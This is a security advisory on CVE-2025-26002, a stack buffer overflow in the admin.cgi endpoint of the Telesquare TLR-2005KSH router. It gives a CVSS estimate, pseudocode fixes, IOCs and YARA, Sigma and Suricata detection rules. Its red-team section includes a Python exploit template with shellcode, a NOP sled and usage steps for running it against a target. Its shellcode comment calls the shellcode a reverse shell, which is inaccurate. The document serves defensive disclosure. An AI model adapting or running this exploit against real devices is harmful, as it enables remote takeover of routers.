CVE-2025-26002

Executive Summary

CVE-2025-26002 is a critical, unpatched stack buffer overflow vulnerability affecting the Telesquare TLR-2005KSH router firmware version 1.1.4. The flaw resides in the admin.cgi endpoint when processing the setSyncTimeHost parameter. An unauthenticated attacker can trigger a stack overflow by sending a specially crafted HTTP request, potentially leading to remote code execution (RCE) and full device compromise. No public exploit code or patch is currently available, making this a high-priority zero-day threat for exposed devices.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded IoT device. Supply chain risk is limited to the device manufacturer's firmware distribution channels.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 due to insufficient data from NVD. Based on the vulnerability characteristics, a reasonable estimated CVSS vector is:

Estimated CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – vulnerable component only.
• Confidentiality (C): High – full device compromise.
• Integrity (I): High – full device compromise.
• Availability (A): High – crash or RCE.

Threat Level: Critical (Estimated Score: 9.8)

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the admin.cgi CGI binary. The setSyncTimeHost parameter is used to configure an NTP server. The firmware fails to validate the length of the input before copying it into a fixed-size stack buffer using a function like strcpy() or sprintf().

Attack Flow:

1. An attacker sends an HTTP GET or POST request to /cgi-bin/admin.cgi with an overly long setSyncTimeHost parameter.
2. The CGI script copies the attacker-supplied string into a stack buffer without bounds checking.
3. The overflow overwrites the saved return address and other stack data.
4. When the function returns, execution jumps to an attacker-controlled address.
5. The attacker can inject shellcode to spawn a reverse shell, execute arbitrary commands, or modify device configuration.

Root Cause: Lack of input sanitization and use of unsafe string copy functions in the CGI handler.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix is shown.

Vulnerable Code (C pseudocode):

void handle_sync_time_host() {
    char buffer[256];
    char *input = get_cgi_param("setSyncTimeHost");
    strcpy(buffer, input); // Unsafe: no length check
    // ... process buffer
}

Patched Code (C pseudocode):

void handle_sync_time_host() {
    char buffer[256];
    char *input = get_cgi_param("setSyncTimeHost");
    if (strlen(input) >= sizeof(buffer)) {
        log_error("Input too long");
        return;
    }
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Telesquare TLR-2005KSH with firmware 1.1.4 (or emulated via QEMU).
• Network access to the device's web interface (typically port 80/443).
• Python3 with pwntools for exploit development.

Exploit Concept (No public code available):

#!/usr/bin/env python3
import socket
import struct

TARGET_IP = "192.168.1.1"
TARGET_PORT = 80

# Offset to overwrite return address (needs binary analysis)
OFFSET = 268
# Address of a "jmp esp" gadget (example, must be found via ROPgadget)
JMP_ESP = 0x08048450
# Shellcode (example: reverse shell to 192.168.1.100:4444)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = b"A" * OFFSET
payload += struct.pack("<I", JMP_ESP)
payload += b"\x90" * 16  # NOP sled
payload += shellcode

http_request = (
    f"GET /cgi-bin/admin.cgi?setSyncTimeHost={payload.decode('latin-1')} HTTP/1.1\r\n"
    f"Host: {TARGET_IP}\r\n"
    f"Connection: close\r\n\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((TARGET_IP, TARGET_PORT))
sock.send(http_request.encode())
sock.close()

Usage:

1. Perform binary analysis to find the exact offset and a jmp esp gadget.
2. Replace JMP_ESP with the actual address.
3. Generate proper shellcode for the target architecture (MIPS or ARM).
4. Run the script against the target.

Blue Team

Detection:

• Monitor HTTP requests to /cgi-bin/admin.cgi with abnormally long setSyncTimeHost parameters (e.g., > 256 bytes).
• Alert on repeated connection attempts from the same source IP.
• Use network intrusion detection systems (NIDS) to flag oversized CGI parameters.

Hunting:

• Search logs for admin.cgi access with setSyncTimeHost containing non-printable characters or excessive length.
• Check for unexpected outbound connections from the device (e.g., to unknown IPs on port 4444).

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to /cgi-bin/admin.cgi with setSyncTimeHost parameter > 256 bytes.
  • Outbound connections from the device to unusual IPs/ports (e.g., 4444, 31337).
  • Unusual HTTP response codes (e.g., 500 Internal Server Error) from the device.

• Host:

  • Unexpected processes running on the device (e.g., /bin/sh spawned by CGI).
  • Modified firmware files or configuration.
  • Presence of shellcode in memory (detectable via memory forensics).

• File:

  • /tmp/*.sh or /tmp/*.bin files created by the exploit.
  • Modified /etc/passwd or /etc/shadow (if device has user accounts).

Detection Engineering

YARA Rule

rule CVE_2025_26002_Exploit_HTTP {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-26002 in Telesquare TLR-2005KSH"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26002"
    strings:
        $cgi = "/cgi-bin/admin.cgi" ascii wide nocase
        $param = "setSyncTimeHost=" ascii wide nocase
        $overflow = { 41 41 41 41 41 41 41 41 } // 8 or more 'A's
    condition:
        $cgi and $param and #overflow > 10
}

Sigma Rule

title: CVE-2025-26002 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with overly long setSyncTimeHost parameter targeting Telesquare TLR-2005KSH
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/cgi-bin/admin.cgi"
        cs-uri-query|contains: "setSyncTimeHost="
        cs-uri-query|length: > 300
    condition: selection
falsepositives:
    - Legitimate long NTP hostnames (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-26002 - Telesquare TLR-2005KSH Stack Overflow Attempt";
    flow:to_server,established;
    content:"/cgi-bin/admin.cgi"; http_uri;
    content:"setSyncTimeHost="; http_uri;
    pcre:"/setSyncTimeHost=[^&]{300,}/";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-26002;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Telesquare TLR-2005KSH routers on a separate VLAN with strict firewall rules.
2. Disable remote management: Block access to port 80/443 from untrusted networks.
3. Monitor for exploitation: Deploy the provided detection rules.

Long-term Fix:

• Contact Telesquare for a firmware patch. If unavailable, consider replacing the device with a supported alternative.
• Implement a Web Application Firewall (WAF) to filter oversized CGI parameters.
• Apply the principle of least privilege: disable unnecessary services on the device.

Workaround:

• If patching is not possible, restrict access to the device's web interface to trusted IPs only using ACLs.

Valters IT